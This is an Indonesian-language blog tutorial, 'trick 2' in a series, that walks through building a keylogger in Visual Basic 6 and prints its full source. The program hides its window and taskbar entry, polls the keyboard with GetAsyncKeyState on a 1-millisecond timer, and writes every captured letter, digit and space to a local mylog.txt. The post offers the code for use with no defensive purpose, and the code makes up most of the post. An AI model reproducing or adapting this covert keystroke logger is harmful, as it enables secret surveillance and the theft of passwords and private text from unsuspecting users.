Cara membuat keylogger dengan VB 6 (Trick Ke 2) ~ Indonesia Blogger

hhmmm ..!! nih cara membuat keylogger Versi ke II .. karna yang tadi pertama Rada Sulit nah ini saya kasih tau yang lebih mudah nya lagi :)

Simak braayy..!!

Hal yang pertama kita lakukan adalah buka Visual Basic 6 nya, kemudian buatlah sebuah project Standard.exe ( lihat gambar )

Setelah itu tambahkan sebuah timer ( pada bagian kiri ) dengan nama Timer1 yang intervalnya 1

Setelah itu tambahkan Code di bawah ini ke dalam form : ( klik kanan pada Form, kemudian View Code )

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
    kode As Integer
    bawah As String
    atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
    IndexList = IndexList + 1
    List(IndexList).kode = kode
    List(IndexList).atas = atas
    List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
    AddToTable i, Chr(i), Chr(i + 32)
Next i
    AddToTable 48, ")", "0"
    AddToTable 49, "!", "1"
    AddToTable 50, "@", "2"
    AddToTable 51, "#", "3"
    AddToTable 52, "$", "4"
    AddToTable 53, "%", "5"
    AddToTable 54, "^", "6"
    AddToTable 55, "&", "7"
    AddToTable 56, "*", "8"
    AddToTable 57, "(", "9"
    AddToTable &H60, "", "0"
    AddToTable &H61, "", "1"
    AddToTable &H62, "", "2"
    AddToTable &H63, "", "3"
    AddToTable &H64, "", "4"
    AddToTable &H65, "", "5"
    AddToTable &H66, "", "6"
    AddToTable &H67, "", "7"
    AddToTable &H68, "", "8"
    AddToTable &H69, "", "9" '
    AddToTable Asc(" "), " ", " "
End Sub

Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    Build_Table
End Sub

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\mylog.txt") <> "") Then
    FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
    Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
    If (b = -32768) Then
        AddToFile List(i).atas
    Else
        AddToFile List(i).bawah
    End If
    Exit For
End If
Next
End Sub

Simpan project KeyLogger tadi ke dalam satu folder dan tambahkan sebuah file txt dengan nama mylog.txt ( tidak ditambahkan juga tidak apa-apa ) setelah itu jalankan.

Untuk mencobanya anda ketikkan apa saja di keyboard, lalu anda buka file mylog.txt di dalam folder project keylogger tadi. maka anda akan melihat apa yang sudah anda ketikkan tadi.

Indonesia Blogger

Cara membuat keylogger dengan VB 6 (Trick Ke 2)

Related Post

1 comments: